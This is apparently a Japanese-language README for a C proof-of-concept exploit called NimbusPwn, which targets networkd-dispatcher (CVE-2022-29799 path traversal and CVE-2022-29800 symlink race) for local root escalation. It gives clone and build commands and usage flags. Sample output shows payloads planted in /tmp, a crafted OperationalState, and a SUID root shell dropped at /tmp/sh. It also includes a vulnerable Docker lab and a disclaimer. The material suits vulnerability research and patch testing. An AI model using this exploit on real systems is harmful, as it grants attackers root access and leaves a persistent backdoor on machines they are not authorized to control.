
NimbusPwnのC言語PoC、networkd-dispatcherにおけるローカル権限昇格。非特権ユーザーがD-Bus名org.freedesktop.network1を要求し、細工されたOperationalStateを送信します。ルートデーモンはそれをサニタイズせず(CVE-2022-29799、パストラバーサル)、スクリプトディレクトリでのシンボリックリンク競合(CVE-2022-29800、TOCTOU)により、攻撃者が仕込んだスクリプトをルートとして実行させ、SUIDルートシェルをドロップします。
影響を受けるバージョン: networkd-dispatcher < 2.1(2.1で修正)。Linuxのみ。システムD-Busと要求可能なorg.freedesktop.network1名が必要です。
Linux(Kaliまたはターゲットマシン)でビルドします。macOS/Windowsではビルドも実行もできません。
git clone https://github.com/joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800.git
cd NimbusPWN-CVE-2022-29799-29800
sudo apt install -y gcc libc6-dev libdbus-1-dev pkg-config
cc nimbuspwn.c -o nimbuspwn $(pkg-config --cflags --libs dbus-1)
[!NOTE] 他のディストリビューション:
dnf install gcc dbus-devel pkgconf(Fedora/RHEL)またはpacman -S gcc dbus pkgconf(Arch)。コンパイル行は同じです。
脆弱なホスト上で非特権ユーザーとして実行します。
./nimbuspwn [-c] [-s SHELL]
-c, --check non-breaking vuln check, no exploitation
-s, --shell SHELL shell to SUID-copy and spawn as root (default /bin/sh)
-h, --help show help
まず確認します(安全で、何も配置せず、競合もしません):
$ ./nimbuspwn --check
[+] owned org.freedesktop.network1
[+] verdict: likely vulnerable (org.freedesktop.network1 is claimable, no privesc tried)
次にエクスプロイト:
$ ./nimbuspwn
[*] shell=/bin/sh drop=/tmp/sh attempts=10
[+] owned org.freedesktop.network1
[@] attempt 1 (/tmp/nimbuspwn_93732)
[+] planted 126 payloads (root-owned /sbin execs) in /tmp/nimbuspwn_93732
[*] OperationalState: ../../../tmp/nimbuspwn_93732/poc
[*] signal sent (serial 3)
[@] symlink swapped, waiting for root exec
[+] root backdoor at /tmp/sh, spawning shell
# id
uid=1000(pwn) gid=1000(pwn) euid=0(root) groups=1000(pwn)
競合は非決定的であるため、再試行します(デフォルト10回)。/bin/shがないホストでは-s /bin/bashを使用してください。
自己完結型の脆弱なラボ(Ubuntu 20.04 + 脆弱なnetworkd-dispatcher 2.0)。--privilegedやホストネットワークは不要です。
docker compose build
docker compose run --rm nimbuspwn-lab
# inside, as user 'pwn':
./nimbuspwn
2.0のディスパッチャーはdocker/にベンダリングされているため、ビルドは外部ダウンロードに依存しません。ディスパッチャーログ: /var/log/dispatcher.log。
このツールは教育および研究目的のみで提供されます。作成者は、ツールの誤用や損害について一切の責任を負いません。